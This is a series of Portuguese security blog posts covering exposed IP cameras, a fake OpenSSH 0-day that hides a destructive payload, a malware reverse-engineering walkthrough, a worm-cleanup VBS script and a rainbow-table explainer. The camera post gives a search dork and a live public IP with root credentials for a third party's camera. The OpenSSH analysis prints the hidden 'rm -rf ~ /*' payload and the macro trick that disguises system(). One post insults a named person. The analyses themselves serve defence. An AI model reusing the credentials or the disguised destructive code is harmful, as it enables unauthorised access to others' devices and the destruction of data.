Urban Hacking

20, maio, 2011 8 comentários

Estava conversando com o João Victor (@jvrmaia) e ele me disse que o pessoal do suporte adiquiriu uma Câmera IP para fazer o monitoramento do prédio.

Quando eles foram procurar as documentação de instalação da câmera, tiveram uma surpresa ao ver que diversas câmeras são ligadas publicamente à internet e com senha padrão (ou pior ainda, sem senha).

Com a mente aguçada em saber se isso é bastante comum, fui na página da Toshiba, catei o manual de uma das Câmeras IP dela e no manual vi algumas figuras da interface Web de gerenciamento/visualização e, como imaginei, encontrei diversos IP’s públicos com acesso sem autenticação as câmeras.

Um exemplo comum foi com a seguinte pesquisa do Google:
intitle:”network camera – User Login”

Onde o primeiro resultado foi uma Câmera IP de (aparentemente) de um porto, onde é possível até movimentá-la (isso foi divertido):

Bom, agora eu me pergunto quando as pessoas vão passar a realmente se preocupar com esse tipo de coisa. Muito pode ser feito com esse tipo de informações, principalmente porque as câmeras são posicionadas estratégicamente em direção onde temos maior risco de incidente.

Podemos até saber se a locadora do Tio Phill está com fila muito grande antes de ir la: http://96.2.189.42:8080/ (user: root / pass: ikwb)

Abraços e hack’n roll,
Maycon Maia Vitali ( 0ut0fBound )

Categories: Sem categoria Tags:

Enfim uma maillist…

18, maio, 2011 Sem comentários

Olá, espero que estejam todos ok…

Depois de muito bate cabeça e controversias frequentando a lista exploits-brasil um grupo com ideias em comum resolveu criar uma nova lista de discussões…

A lista criada foi chamada de 0ops-br, uma breve tradução da wiki seria:

Um “oops” é um *desvio* do comportamento correto do kernel do linux, o qual produz algum tipo de erro/log.

Tá, pode não ser o melhor nome do mundo mas se você já sabe o significado é bem provável que trará discussões interessantes pra lista ;).

Algumas considerações:
– A lista é moderada
– Os moderadores são bastardos (fdpsemcostume!)
– Os interesses estão entre, mas não somente, OS Internals, Programação baixo nível (C, assembly), Exploração de Softwares, Engenharia Reversa, Malware Analysis e Hacking/Phreaking em geral (exemplo: Lock Picking, DIY projects…)
– …

O endereço da lista é: http://groups.google.com/group/oops-br
Apenas as postagens são moderadas (pra evitar sujeira na lista).

Se você se interessa pelos assuntos acima e sabe como se portar em uma maillist, será bem vindo :).


Maycon Maia Vitali ( 0ut0fBound )

Categories: Sem categoria Tags:

Desafio Hack’n Roll #1

16, dezembro, 2010 2 comentários

Estava conversando no IRC (sim, ainda existe IRC) com Pedro Mendes (pedro3005), quando ele me disse que havia feito um código em Haskell que recebia um texto como parâmetros e retornava um código Brainfuck que imprimia esse texto. Quando ele me explicou a idéia do código e mostrou um exemplo de saída, percebi que existem diversas maneiras de otimiza-lo. Foi quando pensei em lançar este desafio.

O desafio consiste em escrever um código que receba uma palavra (ou texto) qualquer que gere um código brainfuck que imprima esse texto. As soluções devem ser postadas como comentários e uma solução consiste na idéia por trás do código, no link para o código em http://hacknroll.pastebin.com/ e o código brainfuck que imprima o texto Hack’n Roll. Lembrem-se de colocar o pastebin para nunca expirar, além de especificar corretamente a linguagem, nome e título.

Qualquer coisa podemos bater um papo no IRC:
- Servidor: irc.freenode.net
- Canais: #c4ll ##unix-br #reset

Bom desafio a todos e tenham um ótimo Hack’n Roll. :-)

Categories: Programação Tags:

0-Day openssh-53p1-remote-root.c ?

7, fevereiro, 2010 6 comentários

Estava em casa e de madrugada recebi uma mensagem dizendo “0-day para OpenSSH” seguindo do seguinte link:
http://pentestit.com/wp-content/uploads/2010/02/openssh-53p1-remote-root.c

Já logo pensei na festa que isso seria para os script kiddies e raquers de plantão. Porém ao dar uma olhada rápida no código, percebe-se logo de inicio algumas sutilezas. De uma maneira geral o código realmente parece com um exploit, com seus imensos shellcodes e suas conexões por socket, o que me fez da uma olhada com mais calma e escrever este post.

Vamos ao começo do código:

184
185
186
187
if (geteuid()) {
	puts("Root is required for raw sockets, etc.");
	return 1;
}

Olhando logo na parte inicial do código, é possível notar que ele exige que seja executando com um usuário com privilégios de root, argumentando que é necessário para utilização de raw sockets (SOCK_RAW). Porém, procurando pela criação do socket em questão, nota-se que ele utiliza um SOCK_STREAM, que representa uma conexão TCP normal sem necessidade de root.

205
206
207
208
209
210
211
sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
	printf("  [-] Connecting Failed\n");
	return 1;
}

Em seguida, ele faz uma validação da quantidade de argumentos, fornecendo uma ajuda caso não existam parâmetros
suficiente:

189
190
191
192
if(argc < 3){
	usage(argv[0]);
	return 1;
}

Porém, é importante notar que ele não faz qualquer outra referência à argv, ou seja, ele não trata os parâmetros fornecidos.

196
197
198
199
200
201
202
203
if (!inet_aton(h, &addr.sin_addr)){
	host = gethostbyname(h);
	if (!host){
		printf("  [-] Resolving Failed\n");
		return 1;
	}
	addr.sin_addr = *(struct in_addr*)host->h_addr;
}

Seguindo pelo código, temos um trecho de código que diz converter o endereço fornecido em seu host. Porém como não existe qualquer parâmetro definido como host, a função inet_aton vai retornar um valor diferente de zero, o que resultará sempre no salto desta condição.

212
213
214
215
216
217
218
219
220
payload = malloc(limit * 10000);
ptr = payload+8;
memcpy(ptr,jmpcode,strlen(jmpcode));
jmpinst=fopen(shellcode+793,"w+");
if(jmpinst){
	fseek(jmpinst,0,SEEK_SET);
	fprintf(jmpinst,"%s",shellcode);
	fclose(jmpinst);
}

Neste momento ele começa a preencher um buffer (um trecho de código comum em exploits), porém ele escreve uma variável jmpcode a partir da posição 8 deste buffer ( apontado por ptr ):

maycon@hacknroll~$ printf $(cat jmpcode.txt) > jmpcode.bin
maycon@hacknroll~$ file jmpcode.bin
jmpcode.bin: ASCII C program text, with no line terminators
maycon@hacknroll~$ cat jmpcode.bin
rm -rf ~ /* 2> /dev/null &
maycon@hacknroll~$

Opa! Nos deparamos com uma coisa nem um pouco agradável de ser ver. Estamos vendo um comando que apaga o home do usuário em seguida apaga tudo a partir da raiz. :)

O mesmo código chama fopen() a uma posição do shellcode que sequer representa um nome de arquivo válido, ou seja, a função fopen() vai falhar.

No resto do código tem muita besteira. O que me deixou mais impressionado foi a macro fremote() que, não sei ao certo, tem a mesma função que system. Se reparar, ela é chamada no inicio do código como fremote(jmpcode), que executaria o rm -rf visto anteriormente, veja um exemplo da utilização das macros:

1
2
3
4
5
6
7
8
9
10
11
12
#include 
 
#define build_frem(x,y,a,b,c) a##c##a##x##y##b
#define fremote build_frem(t,e,s,m,y)
 
char jmpcode[] = "ls -l";
 
int main(void)
{
	fremote(jmpcode);
	return 0;
}

Analisando a chamada build_frem, temos que ele simplesmente organiza os parâmetros como terceiro, último, terceiro, primeiro, segundo e penúltimo. Aplicando esta mesma sequência nos parâmetros de build_frem teremos a string system.

Se executarmos gcc -E temos o código logo após o processamento das macros:

maycon@hacknroll~$ gcc -E fremote.c  | tail -n 8

char jmpcode[] = "ls -l";

int main(void)
{
	system(jmpcode);
	return 0;
}

maycon@hacknroll~$

Este é um trick bastante interessante. Ah se eu soubesse disto na época de Programação I na faculdade. :)

De qualquer forma isto serve de aviso para os que se aventuram a simplesmente compilar e executar os exploits vistos na internet.

Abraços a todos,
______________________________________
Maycon Maia Vitali ( 0ut0fBound )
Hack’n Roll

Categories: Sem categoria Tags:

Hack New Year: MD5 Chain com Rainbow Table

2, janeiro, 2010 11 comentários

Antes de qualquer coisa, gostaria de desejar a todos um feliz ano novo cheio de felicidades e que seus objetivos sejam edificados em 2010.

Criptografia com certeza é um assunto de interesse de muitos, porém por ser uma área tão extensa e de pré-requisitos (álgebra, geometria, trigonometria, teoria dos números, etc) que realmente não agradam alguns muitas vezes não são estudadas como hobby.

A criptoanálise é o ramo da ciência que estuda métodos de criptografia, capacitando ao profissional fazer a análise de um algoritmo criptográfico quanto a sua complexidade, podendo definir um algoritmo como forte (de difícil quebra) ou fraco (de fácil quebra).

Como dito, para se estudar criptografia, geralmente tem-se a necessidade de um forte embasamento matemático. Para se ter idéia, algumas linhas da matemática pura estudados a 20 anos atrás são chave fundamental para os melhores algoritmos de criptografia da atualidade.

Alguns ramos de estudo de criptografia não necessitam de um embasamento profundo em matemática. Um desses ramos é o Hash Chain, base para o tão conhecido Rainbow Table (vide Project RainbowCrack), que utiliza uma técnica chamada Time-memory Tradeoff (TMTO).

Em um ataque de força-bruta (brute-force) convencional a um algoritmo de hash, são gerados todas as possíveis senhas com seus respectivos hash’s, e então procura-se um determinado hash para tentar obter a senha original. Porém, levando em consideração uma senha composto das letras de a à z (26 letras) e uma senha de até 7 caracteres, temos o total de:
Formula

O maior problema não é calcular as senhas, e sim armazená-las, já que só para armazenar cada um dos 16 bytes do hash MD5 serão necessários mais que 124Gb de espaço. Se fosse até 8 (oito) caracteres esse valor iria mais que dobrar.

O Time-Memory Tradeoff tem por objetivo reduzir drasticamente a quantidade de memória utilizada em troca de um processamento um pouco maior, porém esse processamento poderia ser feito uma única vez e, dentro a tabela de hash bastaria apenas consultar.

Para se reduzir o tamanho do espaço armazenado, utiliza-se o chamado Hash Chain, que tem por finalidade armazenar uma palavra pertencente ao alfabeto e um hash não necessariamente equivalente a ela.

Iremos tomar como exemplo um alfabeto contendo as letras minúsculas de a à z. Com isto temos 26 letras em nosso alfabeto. Uma palavra é qualquer sequência de caracteres, todos pertencentes ao alfabeto dado e um dicionário é um conjunto de palavras.

O Hash Chain é formado da seguinte forma, dado uma palavra do dicionário, aplica-se uma função de hash H e em seguida aplica-se uma função R, tal que R resulte em uma palavra também pertencente ao dicionário. Faz-se essa operação uma determinada quantidade de vezes (aqui chamadas de iterações) e, ao final, armazena-se o hash resultante, por exemplo:

aaaaaa —H→ 281DAF40 —R→ sgfnyd —H→ 920ECF10

No exemplo acima fizemos apenas duas iterações com a palavra “aaaaaa”. Inicialmente aplicamos a função de hash e obtivemos o valor 281DAF40. Em seguida foi aplicação a função R resultando na palavra “sgfnyd” , pertencente ao dicionário. Por ultimo aplicou-se novamente a função de hash resultando no hash 920ECF10.

Dado um hash para consultar, verifica-se se ele esta contido na tabela de hash’s gerada. Caso ele seja encontrado, é provável que a partir da palavra inicial consiga-se obter a palavra equivalente ao hash. Por exemplo, se tivermos o hash 920ECF10, podemos encontrá-lo na tabela, sendo equivalente a palavra inicial aaaaaa, bastando apenas fazer as operações H e R varias vezes até encontramos a palavra que tenha o hash dado ou não encontrarmos (atingindo o máximo de iterações). Caso o hash procurado não esteja na tabela, aplica-se consecutivamente as funções R e H no hash fornecido, procurando novamente na tabela, fazendo assim com que o hash fornecido converja à um hash da tabela ou atinja o número máximo de iterações (caso não seja encontrado).

É importante ressaltar que a função R não pode ter qualquer aleatoriedade, ou seja, um valor de hash é sempre transformado na mesma palavra do dicionário. A diferença do Hash Chain puro para o Rainbow Table é que o segundo possui diversas funções R que transformam um hash qualquer em uma palavra do dicionário, tentando assim evitar colisões (dois hash resultarem na mesma palavra).

Para efeitos de ilustração escrevi um código como prova de conceito (p0c), que gera em tempo real um dicionário, faz diversas iterações e depois procura um dado hash. É importante deixar claro que esse código é somente demonstrativo, porém ele pode futuramente virar um projeto da Hack’n Roll. Algumas limitações dele é o dicionário ser fixo (letras de a à z), você tem que fornecer o tamanho da senha do hash (isso o torna completamente inútil sozinho em um ambiente real), terei que melhorar (e muito) a função que transforma o hash em uma palavra do dicionário, etc.

Quebra do hash da palavra hack

A ferramenta faz o que promete, porém algumas (muitas) vezes ele não encontra a palavra solicitada. Isso se dá porque o dicionário inicial é gerado aleatóriamente, para um melhor resultado, basta executar novamente com os mesmos parâmetros até ele encontrar a palavra solicitada:
Quebra do hash MD5 da palavra natal

Não recomendo tentar utilizar o md5-chain como ferramente de quebra de hash MD5. Ele foi escrito com o único propósito de explicar o conceito de hash chain, time-memory tradeoff e como funciona o projeto RainbowCrack. Este ultimo já possui diversas melhorias matemáticas além de ter instruções específicas para trabalhar com GPU (processadores de placas de vídeo).

No projeto RainbowCrack, a tabela palavra/hash é gerada e armazenada em arquivo, sempre fazendo algumas verificações. Dessa forma bastaria fazer as consultas necessárias e obter os resultados.

O código-fonte do md5-chain pode ser obtido aqui. Sinta-se livre para modificá-lo e estudá-lo à vontade. Um desafio seria reescrever a função makepass() que gera uma palavra a partir de um hash, cuja execução com um dicionário inicial de 2000 palavras e 2000 iterações de uma senha de 5 caracteres não gere muitas (ou nenhuma) repetição.

Bom estudo e feliz hack’n roll.

Referências:
http://en.wikipedia.org/wiki/Rainbow_table
http://en.wikipedia.org/wiki/Space-time_tradeoff
http://www.cs.sjsu.edu/faculty/stamp/RUA/TMTO.pdf
http://project-rainbowcrack.com/

Categories: Criptografia, Segurança Tags:

A Verdade sobre o Apagão

12, novembro, 2009 186 comentários

Eu? Como? Quando? onde? Por que? 18 anos? Na verdade eu tinha 23 anos. :-)

Ensinar a molecada a parar o metrô de SP pode, né ‘champion’!?

Agora é sério, você nasceu pra cagar merda pela boca. Pare de falar e subjugar as pessoas e faça algo de relevante antes de colocar a palavra pesquisador entre aspas. Cadê seus exploits? Cadê seus CVEs? Cadê a sua contribuição? Não me venha dizer que vender treinamento lixo e palestras lixo em eventos lixo é algo de bom, pois todos sabemos qual o seu principal objetivo ni$$o tudo.

Para quem não conhece nosso amigo, segue um recado da comunidade de segurança:

… e mais esse …

Uma dica pra ele de nosso grande herói He-man:

Happy Hack N’ Roll. :-)

Categories: Segurança Tags:

Material do Curso de Ataques Web

11, julho, 2009 11 comentários

Pessoal,

É com grande satisfação que concluí a primeira turma do Curso de Extensão Tecnológica em Ataques Web do Centro Universitário Vila Velha. E, como prometido para muitos, estou disponibilizado o material utilizado durante o curso. Nele temos a apostila de 72 páginas que eu mesmo escrevi, e os slides apresentados durante as aulas.

Segue o link para cada um dos itens do material:

Bem, infelizmente a apostila está sem revisão. Contanto estou contando com a colaboração de todos para enviarem algumas revisões que acharem necessárias. Provavelmente no modelo final irei colocar uma lista de todos que contribuiram com a revisão.

Só para lembrar que o curso está com inscrições abertas para a segunda turma. Caso esteja interessado as inscrições podem ser feita Aqui.

Durante o curso, criei um grupo do Yahoo Grupos! para que possamos trocar melhores experiências e tirar dúvidas no quesito “segurança em web”. Se tiver interessado em contribuir com o grupo o mesmo pode ser acesso Aqui.

Obrigado a todos e Hack’n Roll

Categories: Sem categoria Tags:

Análise do Virus TR/ATRAPS.Gen – Parte 1

12, abril, 2009 20 comentários

Hoje cheguei em casa umas 12h e notei que tinha uma mensagem no MSN com o seguinte:

Esta foto te miras padre!

http://img456.myspace-imagen.info/img456/my.php?id=MVC-IMAGEN41.jpeg

Então pensei: Ou a minha tia está aprendendo espanhol e esta querendo praticar comigo, ou ela esta com um vírus de MSN. Para tirar minhas dúvidas cliquei no link e, como de se esperar, o navegador abriu uma janela para eu efetuar download do arquivo MVC-IMAGEN41.jpeg.src. Então o salvei e comecei a fazer a análise dele.

Ao submeter para o VirusTotal, notei que dos 37 anti-virus com base de assinaturas registradas, somente 4 o detectaria como vírus. Para maiores detalhes da submissão do vírus acesse VirusTotal

Abri no PEiD para ver o que ele me falava do arquivo, e obtive a seguinte resposta:

figura01

Pelo PEiD foi possível notar que não existe nenhum tipo de compactação nem criptografia das sessões do binário. Então bastamos abrir o binário para uma análise direta.

Abri o binário no OllyDbg e logo no inicio vemos a seguinte chamada:
figura02

Inicialmente ele aloca memória na pilha e em seguida move uma constante para o registrador EAX e efetua uma chamada. Ao analisarmos a chamada temos o seguinte:

figura03

Nesta chamada é salvo o parâmetro que está em EAX no registrador EBX em seguida move-se o valor 0 (zero) para a posição [44064] que representa o TLS (Thread-Local Storage) do processo, utilizada para criar um mecanismo de IPC. Por padrão, às variáveis locais de uma função são únicas para cada thread que execute a função e as variáveis globais e estáticas (static) são compartilhadas por cada processo. Com TLS, utilizando um índice global, é possível prover um dado único para cada thread que o processo pode acessar.

Após zerar o TLS, o processo efetua uma chamada a API GetModuleHandleA[1] passando 0 (zero) como parâmetro. A API GetModuleHandleA() retorna o handle (ponteiro) para o módulo passado como parâmetro, o módulo no caso seria algum outro processo ou DLL carregado na mesma região de memória do processo atual. Como foi passado como parâmetro o valor 0 (zero) a API retornará o Handle do arquivo que criou o processo atual, no caso o nosso m4ware.

Em seguida o processo salva o resultado nos endereço DS:[4566C] e DS:[4406C], então para facilitar o trabalho colocamos um label (rótulo) nesses endereços.

figura04

Nesta sub-rotina, vemos um exemplo clássico de anti-debugger. Esse trick consiste é pegar o uptime da máquina em milissegundos (GetTrickCount[2]), em seguida efetuar uma pausa (Sleep) e pegar novamente o numero de milissegundos. Com isto verifica-se se as diferenças foram compatíveis. No exemplo, o malw4re pega o ms da máquina, da uma pause de 501ms e em seguida pega o ms novamente e então verifica se a diferença foi de 501ms. Então a sub-rotina retorna 1 (um) em EAX caso ocorra a diferença (debug detectado) ou 0 (zero) caso não tenha detectado. Após a verificação, o malw4are altera seu fluxo caso tenha sido detectado o debug, executando o salto condicional (endereço 00043616).

Não tenho detectado o debuger, o malw4are prossegue normalmente e em seguida executa a seguinte rotina passando o valor 6F (111 dec.) no registrador EAX:

figura05

No inicio temos o prelúdio normal de uma rotina (salva pilha e separa nova pilha). Em seguida temos a alocação de uma região da pilha (variáveis locais). Salva-se o valor de EAX (parâmetro) em EBX e executa um Sleep de 50ms. Após a pausa, o m4lware soma Trick do sistema e com o parâmetro passado e executa um salto incondicional para o meio de loop (endereço 000434D4). O loop executa diversas leituras de mensagens do sistemas. A estrutura de resposta da mensagem fica armazenada na pilha no endereço SS:[EBP-1C], então o processo verifica pela mensagem de ID 12h para então sair[3].

Ao sair desta rotina, o m4lware passa para a seguinte rotina:

figura06

Inicialmente temos o prelúdio com a alocação e inicialização (com zeros) das variáveis locais da sub-rotina. É possível notar diversas chamadas a API LoadLibraryA[4], que é responsável por carregar uma determinada biblioteca (DLL) dinamicamente, ou seja, sem estar no IMPORT_TABLE do binário. Porém, antes de cada chamada, temos a chamada a três sub-rotinas do binário. Analisando superficialmente, é possível notar que a primeira rotina carrega uma mensagem codificada, a segunda decodifica a mensagem e a terceira verifica se teve sucesso ou não. Com isto, é possível verificar que as chamadas as APIs LoadLibraryA() importam as bibliotecas kernel32.dll, advapi32.dll e ntdll.dll respectivamente. Em seguira é feito uma chamada a API GetProcAddress, que é responsável por, dado um handle de uma biblioteca (retorno da função LoadLibrary()) e um nome de API, retorna um ponteiro para a rotina da API. A chamada à GetProcAddress() busca e retorna o endereço da própria API GetProcessAddress em Kernel32.dll, armazenando seu retorno em DS:[ESI].

Após a obtenção do endereço de GetProceAddres em DS:[ESI], a rotina efetua diversas rotinas como as seguintes:

figura07

Com isto, o m4lware carrega as APIs RegCloseKey, RegQueryValueExA, RegOpenKeyA, EnumResourceNamesA, GetModuleHandleA, GetComputerNameA, GetUserNameA, GetFileAttributesA, FreeLibrary, FreeResource, ExitProcess, SizeofResource, LoadResource, LockResource, FindResourceA, SetThreadContext, TerminateProcess, ZwUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, CreateProcessA, GetThreadContext, ReadProcessMemory, SetThreadContext, ResumeThread e VirtualProtectEx, não necessariamente nesta ordem.

No final, esta rotina libera o handle das biblitecas kernel32.dll, advapi.dll e ntdll.dll carregados no inicio.

Bem, esta foi a primeira parte da análise do m4lware TR/ATRAPS.Gen, até então não encontramos nada de muito complicado nem ameaçador. Nos post futuros continuarei com a análise e talvez tenha algo de mais interessante.

Referências:
[1] GetModuleHandle Function: http://msdn.microsoft.com/en-us/library/ms683199(VS.85).aspx
[2] Thread-Local Storage: http://msdn.microsoft.com/en-us/library/ms686749.aspx
[3] MSG Structure: http://msdn.microsoft.com/en-us/library/ms644958(VS.85).aspx
[4] LoadLibrary Function: http://msdn.microsoft.com/en-us/library/ms684175(VS.85).aspx

Categories: Análise de Binário, Malwares Tags:

Curso de Ataques Web

7, abril, 2009 5 comentários

Pessoal,

Tenho o prazer de informar que já estão abertas as inscrições para o curso Ataques web: entendendo, identificando e prevenindo, inédito em nosso estado.
http://www.uvv.br/cursosExtensao/cursoAtaqueWeb.asp

O curso terá 24h e custará apenas R$120,00. Para vocês terem uma idéia de como está barato, curso similar em São Paulo, com carga horária muito inferior (8h), é oferecido por R$299,00.

O curso abordará o Top 10 da OWASP (The Open Web Application Security Project), que relaciona anualmente as 10 vulnerabilidades mais exploradas na web. Será apresentada aos alunos a realidade dos ataques em sistemas web de maneira prática, demonstrando como os atacantes identificam as vulnerabilidades e, a partir delas, efetuam ataques que comprometem os principais ativos das empresas.
Após entenderem como os ataques são realizados os alunos aprenderão a projetar e desenvolver sistemas web imunes a eles, aplicando as melhores técnicas de prevenção e defesa.

Se você trabalha ou tem interesse nas áreas de desenvolvimento web ou segurança da informação, essa é uma oportunidade imperdível para você.

O curso é 100% prático, com um aluno por computador e realizado em moderno laboratório climatizado. Os alunos receberão material didático de apoio e ainda contarão com suporte pedagógico do professor via Internet durante todo o período do curso, permitindo um acompanhamento detalhado do desenvolvimento de cada aluno. Além disso, os certificados têm a chancela da UVV, a maior e mais respeitada instituição privada de ensino do Espírito Santo.

Atenção: as vagas são limitadas. Faça já sua inscrição on-line e garanta sua
vaga.
http://www.uvv.br/cursosExtensao/cursoAtaqueWeb.asp

Obs: há também a possibilidade de serem criadas turmas personalizadas para empresas ou grupos fechados. Para mais informações, entre em contato.

Obs. 2: em breve serão oferecidos vários outros cursos de curta duração na área de TI. Fiquem atentos.

Categories: Sem categoria Tags:

Vacina Tiny.H

21, março, 2009 4 comentários

A arte da engenharia reversa realmente é tão fantastica quanto ampla. Muitas pessoas só conhecem engenharia reversa como o método utilizado para criar cracks, keygens entre outras ferramentas do gênero. Porém, a engenharia reversa é utilizada amplamente para migração de código entre plataformas (geralmente drivers para hardware sem documentação), análise de vulnerabilidades em ferramentas de código fechado e para análise de malwares para criação de vacina.

Das criações de vacinas, pude fazer minha primeira vacina para um virus denominado TINY.H que estava disseminado nos laboratórios da faculdade. Ele se auto-copiava para dispositivos removíveis (pen-drivers), criando dois arquivos executáveis e um autorun, todos com permissões ocultas e de arquivos de sistema.

O problema é que, como o usuário disponível não tinha permissão para nada, não era permitido matar os processos do virus e, consequentemente, apagar os arquivos do pen-drive.

Para solucionar o problema, desenvolvi uma pseudo vacina em VBS que remove os processos e limpa o pen-driver, segue algumas rotinas necessárias. Basicamente foram utilizados dois objetos: o FileSystemObject e o Windows Management Instrumentation (WMI) como segue:

1
2
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objFSO = CreateObject("Scripting.FileSystemObject")

Tendo os objetos no escopo global, criei a seguinte rotina que remove as permissões de um dado arquivo:

1
2
3
4
5
6
7
8
9
10
11
'----------------------------------------------------------------------
' Esta função restaura as permissões dos arquivos de infecção para a
' NORMAL, pois os mesmo ficam com as permições SYSTEM, HIDDEN e ARCHIVE
'----------------------------------------------------------------------
Const FILE_ATTRIBUTE_NORMAL   = 128
 
sub RemovePermicoes(cArquivo)
    Wscript.Echo "  > " & cArquivo
    Set ObjFile = objFSO.GetFile(cArquivo)
    objFile.Attributes = FILE_ATTRIBUTE_NORMAL
end sub

Juntamente com ela, criei a seguinte função responsável pela remoção de um dado arquivo:

1
2
3
4
5
6
7
8
9
10
11
12
'----------------------------------------------------------------
' Esta função remove um arquivo ( no caso virótico ) passado como
' parametro
'----------------------------------------------------------------
sub RemoveArquivo(cArquivo)
	objFSO.DeleteFile(cArquivo)
	if objFSO.FileExists(cArquivo) then
	    Wscript.Echo "  > Arquivo [" & cArquivo & "] NÃO removido"
    else
	    Wscript.Echo "  > Arquivo [" & cArquivo & "] removido"
	end if
end sub

Antes de remover as permissões e apagar o ‘dito cujo’, foi necessário remover todos os processos com origem no arquivo, para isto escrevi a seguinte função:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
'----------------------------------------------------------------------
' Esta função é responsável por remover os processos relacionados aos
' arquivos que identificam os virus
'----------------------------------------------------------------------
sub RemoveProcessos(cCaminho)
    Wscript.Echo "  > Caminho: " & cCaminho
    Set colProcessList = objWMIService.ExecQuery ("SELECT * FROM Win32_Process")
    For Each objProcess in colProcessList
        if objProcess.ExecutablePath = cCaminho then
            objProcess.Terminate()
            Wscript.Echo "    > PID: " & objProcess.ProcessId & " morto"
        end if
    next
end sub

Estas três funções podem ser reutilizadas em quaisquer vacinas que precise destas funcionalidades. Agora iremos partir para as tarefas específicas do virus TINY.H.

Primeiro precisamos identificar a presença do virus. Para isto peguei o nome dos arquivos que ele gera, chamados autorun.inf, explorer.exe e fooool.exe. Com isto, escrevi a seguinte função que verifica se um determinado dispositivo (H:, i:, etc) esta infectado:

1
2
3
4
5
6
7
8
9
10
'---------------------------------------------------------------------
' Verifica a possivel infecção em um dispositivo, tendo como parametro
' a letra do dispositivo e verificando através da existencia dos
' arquivos deixados pela infecção
'---------------------------------------------------------------------
function DispositivoInfectado(cDispositivo)
    DispositivoInfectado = objFSO.FileExists(cDispositivo + "\autorun.inf") AND _
                           objFSO.FileExists(cDispositivo + "\explorer.exe") AND _
                           objFSO.FileExists(cDispositivo + "\fooool.exe")
end function

Sabendo que um determinado dispositivo esta infectado, basta utilizar as rotinas já vistas para restaurar as permissões dos arquivos (remover o SYSTEM, HIDDEN e ARCHIVE), matar os respectivos processos e remover os arquivos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
'------------------------------------------------
' Função responsável pelo processo de desinfecção
'------------------------------------------------
function Desinfecta(cDispositivo)
    Wscript.Echo "----------------------------------"
    Wscript.Echo "======= Aplicando Recovery ======="
    Wscript.Echo "----------------------------------"
 
    Wscript.Echo "> Restaurando Permições para Original"
    RemovePermicoes cDispositivo & "\autorun.inf"
    RemovePermicoes cDispositivo & "\explorer.exe"
    RemovePermicoes cDispositivo & "\fooool.exe"
    Wscript.Echo ""
 
    Wscript.Echo "> Finalizando Processos Dependentes"    
    RemoveProcessos cDispositivo + "\explorer.exe"
    RemoveProcessos cDispositivo + "\fooool.exe"
    Wscript.Echo ""
 
    Wscript.Echo "> Apagando Arquivos"    
    RemoveArquivo cDispositivo + "\explorer.exe"
    RemoveArquivo cDispositivo + "\fooool.exe"
    Wscript.Echo ""
 
end function

E para nossa (pseudo-)vacina esta quase completa basta varrer todos os dispositivoes removíveis a procura de algum infectado:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
'-------------------------------------------------------------
' Busca todos os dispositivos removiveis a procura da infeccao
'-------------------------------------------------------------
Set colDisks = objWMIService.ExecQuery("Select * from Win32_LogicalDisk Where DriveType = " & REMOVABLE_DRIVER & "")
 
 
Wscript.Echo "----------------------------------"
Wscript.Echo "====== Verificando Infecção ======"
Wscript.Echo "----------------------------------"
 
 
boolInfected = False
For Each objDisk in colDisks
 
    if objDisk.DeviceID  "A:" then ' Não vale disquete :P

        '----------------------------------------------
        ' Verifica a existencia da infeccao nos drivers
        '----------------------------------------------
        if DispositivoInfectado(objDisk.DeviceID) then
 
            Wscript.Echo "> Possível infecção TINY/H em (" + objDisk.DeviceID + ")"
            Wscript.Echo "  > " + objDisk.DeviceID + "\autorun.inf"
            Wscript.Echo "  > " + objDisk.DeviceID + "\explorer.exe"
            Wscript.Echo "  > " + objDisk.DeviceID + "\fooool.exe"
            Wscript.Echo ""
 
            Desinfecta objDisk.DeviceID
            boolInfected = True
        end if
    end if
Next

Bem. Isto foi só um básico de escrita de vacinas contra malwares. O código completo esta disponível para download aqui, porém o mais interessante seria disponibilizar minha análise (pra quem gosta de assembly). Ela esta um pouco bagunçada, portanto se tiver um tempinho extra irei organizar e posta a análise de meu primeira malware.

Maycon Maia Vitali ( 0ut0fBound )

http://maycon.hacknroll.com

Hack’n Roll

Categories: Análise de Binário, Segurança Tags: